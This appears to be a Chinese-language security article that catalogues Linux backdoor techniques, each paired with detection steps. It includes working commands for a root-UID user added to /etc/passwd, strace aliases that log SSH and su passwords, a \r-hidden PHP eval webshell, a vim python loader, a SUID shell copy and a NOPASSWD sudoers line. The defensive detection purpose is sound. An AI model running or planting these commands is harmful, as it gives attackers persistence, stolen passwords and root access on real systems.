linux常见backdoor及排查技术
字数 2047 2025-08-22 18:37:21
Linux常见后门技术及排查方法
一、后门技术概述
Linux系统后门技术主要分为以下几类:
- 用户账户类后门
- SSH相关后门
- 计划任务后门
- 启动项后门
- 程序劫持类后门
- 进程隐藏技术
- 内核级Rootkit
二、具体后门技术及排查方法
1. 添加root权限后门用户
技术实现:
- 修改
/etc/passwd文件,添加UID为0的用户 - 密码可直接使用加密后的密文
# 生成加密密码
perl -e 'print crypt("M0rk", "AA"). "\n"' # 输出: AAhmo1jgYI0HE
# 添加后门用户
echo "backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash">>/etc/passwd
排查方法:
- 检查
/etc/passwd文件是否有异常用户 - 特别注意UID为0的用户
- 检查文件时间戳是否被修改(
ls -l /etc/passwd)
2. SSH免密码登录后门
技术实现:
- 将攻击者的公钥写入目标机器的
authorized_keys文件
排查方法:
- 检查各用户
.ssh目录下的authorized_keys文件 - 重点检查
/root/.ssh/和/home/*/.ssh/目录
3. SSH密码记录后门
技术实现:
- 通过alias记录SSH或su密码
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
alias su='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 su'
排查方法:
- 检查shell配置文件(
~/.bashrc,~/.bash_profile) - 执行
alias命令查看异常别名
4. SSHD后门
技术实现:
- 创建SSHD软连接开启额外端口
ln -sf /usr/sbin/sshd /home/su /home/su -oport=2222 - 修改OpenSSH源码插入恶意代码
排查方法:
netstat -antlp查看可疑端口ls -l检查可疑SSHD文件strings sshd |grep '[1-9]{1,3}.[1-9]{1,3}.'查找IP特征strace查看可疑写文件操作
5. 计划任务后门
技术实现:
- 通过crontab设置定时任务
排查方法:
crontab -l查看当前用户的计划任务- 检查以下文件/目录:
/etc/crontab/etc/cron.d/*/var/spool/cron/*/etc/anacrontab(Redhat/Centos)
6. 开机启动项后门
技术实现:
- 添加启动脚本到以下位置:
/etc/rc.local/etc/rc.d/rc.local/etc/init.d//etc/systemd/system/- shell配置文件(
/etc/profile,/etc/bashrc,~/.bashrc等)
排查方法:
systemctl list-unit-files --type=service | grep enabled- 检查上述启动项文件
7. Vim后门
技术实现:
- 利用vim的python扩展执行恶意脚本
cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
排查方法:
- 检查vim进程的map文件是否有python字眼
cat /proc/<pid>/maps | grep python
8. 终端解析问题后门
技术实现:
- 利用
\r字符隐藏恶意代码
echo -e "<?=\`eval(\$_POST[good]\`);?>\r<?='PHP Test Page'" > /var/www/html/test.php
排查方法:
- 使用编辑器或webshell扫描工具检查
- 不要仅依赖
cat、more等终端命令
9. 命令截断隐藏进程
技术实现:
- 填充大量空格使命令在ps中显示不全
- 使用工具如xhide修改进程名
排查方法:
ps -aux | grep <pid>显示完整命令- 使用
ps aux | less -+S、ps aux | cat或ps aux | most -w
10. 预加载型动态链接库后门
技术实现:
- 修改
/etc/ld.so.preload或设置LD_PRELOAD环境变量 - 常用工具:Vegile、cub3、Vlany
排查方法:
strace跟踪预加载文件- 检查
/etc/ld.so.preload内容 - 检查
LD_PRELOAD环境变量 - 使用静态编译的busybox进行检查
11. 提权后门
技术实现:
- SUID后门:
cp /bin/bash /bin/nf && chmod +s /bin/nf - Sudoers后门:
echo "jenkins ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
排查方法:
- 查找SUID文件:
find / -perm -4000 - 检查
/etc/sudoers文件
12. 进程注入
技术实现:
- 使用ptrace向进程中注入恶意so文件
- 工具:linux-inject
排查方法:
- 使用unhide等工具检测隐藏进程
- 检查异常进程的内存映射
13. 内核级Rootkit
技术实现:
- 加载恶意内核模块
- 工具示例:Diamorphine
排查方法:
- 检查加载的内核模块(
lsmod) - 使用完整性检查工具
- 对比内核符号表
三、通用排查建议
-
使用可信工具:
- 下载静态编译的busybox进行排查
- 避免依赖可能被篡改的系统命令
-
完整性检查:
- RedHat:
rpm -Va - Debian:
debsums --all
- RedHat:
-
多维度检查:
- 文件系统
- 进程列表
- 网络连接
- 系统日志
-
高级工具:
- unhide检测隐藏进程
- chkrootkit/rkhunter检测rootkit